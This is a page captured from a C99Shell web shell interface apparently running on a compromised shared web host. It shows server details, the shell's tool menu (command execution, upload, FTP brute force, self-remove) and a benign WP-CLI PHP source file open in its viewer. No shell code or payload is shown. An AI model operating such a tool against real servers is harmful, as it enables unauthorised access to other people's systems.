!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/php/WP_CLI/Bootstrap/   drwxr-xr-x
Free 682.21 GB of 879.6 GB (77.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegisterDeferredCommands.php (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Bootstrap;

use WP_CLI;
use WP_CLI\Utils;

/**
 * Class RegisterDeferredCommands.
 *
 * Registers the deferred commands that for which no parent was registered yet.
 * This is necessary, because we can have sub-commands that have no direct
 * parent, like `wp network meta`.
 *
 * @package WP_CLI\Bootstrap
 */
final class RegisterDeferredCommands implements BootstrapStep {

    /**
     * Process this single bootstrapping step.
     *
     * @param BootstrapState $state Contextual state to pass into the step.
     *
     * @return BootstrapState Modified state to pass to the next step.
     */
    public function process( BootstrapState $state ) {

        // Process deferred command additions for external packages.
        $this->add_deferred_commands();

        // Process deferred command additions for commands added through
        // plugins.
        WP_CLI::add_hook(
            'before_run_command',
            [ $this, 'add_deferred_commands' ]
        );

        return $state;
    }

    /**
     * Add deferred commands that are still waiting to be processed.
     */
    public function add_deferred_commands() {
        $deferred_additions = WP_CLI::get_deferred_additions();

        foreach ( $deferred_additions as $name => $addition ) {
            $addition_data = [];
            foreach ( $addition as $addition_key => $addition_value ) {
                // Describe the callable as a string instead of directly printing it
                // for better debug info.
                if ( 'callable' === $addition_key ) {
                    $addition_value = Utils\describe_callable( $addition_value );

                } elseif ( is_array( $addition_value ) ) {
                    $addition_value = json_encode( $addition_value );
                }

                $addition_data[] = sprintf(
                    '%s: %s',
                    $addition_key,
                    $addition_value
                );
            }

            WP_CLI::debug(
                sprintf(
                    'Adding deferred command: %s (%s)',
                    $name,
                    implode( ', ', $addition_data )
                ),
                'bootstrap'
            );

            WP_CLI::add_command(
                $name,
                $addition['callable'],
                $addition['args']
            );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0098 ]--